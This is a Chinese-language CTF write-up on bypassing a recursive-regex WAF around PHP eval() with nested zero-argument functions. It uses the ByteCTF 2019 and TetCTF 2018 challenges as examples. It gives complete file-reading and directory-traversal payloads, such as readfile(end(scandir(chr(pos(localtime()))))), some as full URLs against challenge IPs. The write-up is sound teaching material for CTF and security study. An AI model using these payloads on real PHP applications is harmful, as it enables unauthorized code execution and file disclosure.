PHP 无参数函数执行
最近碰到了php无参数执行的题,看了觉得很有意思,mark一下
简单说一下:无参数执行这个为什么会产生;一般我们要是看见eval(_GET['wtfk'])
就可以参数执行啦,但是很有可能碰到这个waf:
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $arg) { |
划重点:'/[^\W]+\((?R)?\)/'
等同于'/[a-z]+\((?R)?\)/'
这是一个递归正则,就是无限嵌套无参函数;比如a(b(c()))
这样就可以;a(b(90))
就不行
应对方法
参考链接:PHP Parametric Function RCE
具体的我就不说太多了,参考链接里面写得非常好
罗列一下,大概是,获取变量的、获取随机数的、环境列表、操作数组的
1 | getenv(void): array; // 全局变量 |
实例
bytectf 2019 - boring code
bytectf(2019)有一道题目,boring code是讲这个的,
参考链接:https://www.xmsec.cc/bytectf-2019-web-writeup/ 代码如下
1 |
|
这道题目具体是要通过baidu.com结尾的网站跳转到poc然后解析无参poc最后读取到ctf flag文件
读当前目录的payload echo(readfile(end(scandir("."))))
当然需要读取的是上一层,所以是next(scandir("."))
拿到 ..
,然后 chdir(next(scandir(".")))
就可以退到上一层目录了;退到上一层目录之后,要读取index.php的内容,就用读取当前目录payload嵌套一遍呀~
最后是,如何产生".“,chr(pos(localtime()))
,第46秒,是chr(46)=”."
所以最后的payload
readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime()))))))))))));
另外一个读取上一层目录文件的payload:
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
TetCTF 2018 - PHP limit Revenge
题目也差不多,与bytectf2019是同一个正则,所以来看看他的思路https://tuanlinh.gitbook.io/ctf/tetctf-2018
php limit revenge1
http://139.180.219.222/?code=print(readfile(end(scandir(realpath(chr(rand()))))));
http://139.180.219.222/?code=print(readfile(end(scandir(realpath(chr(ord(join(localeconv()))))))));
php limit revenge2
限制了函数貌似,而且也需要返回到上层目录
http://45.76.181.81/?code=print(readfile(end(scandir(chr(octdec(ord(ceil(sqrt(ord(exp(chdir(next(scandir(current(localeconv())))))))))))))));
是这样的:
1 | exp(1) = e^1 = 2.xxxx |
其中 chr(octdec(ord(ceil(sqrt(ord(exp()))))))
返回了 .
这个符号,exp 的参数是 true,即 1。最内层的 current(localeconv())
函数返回 .
。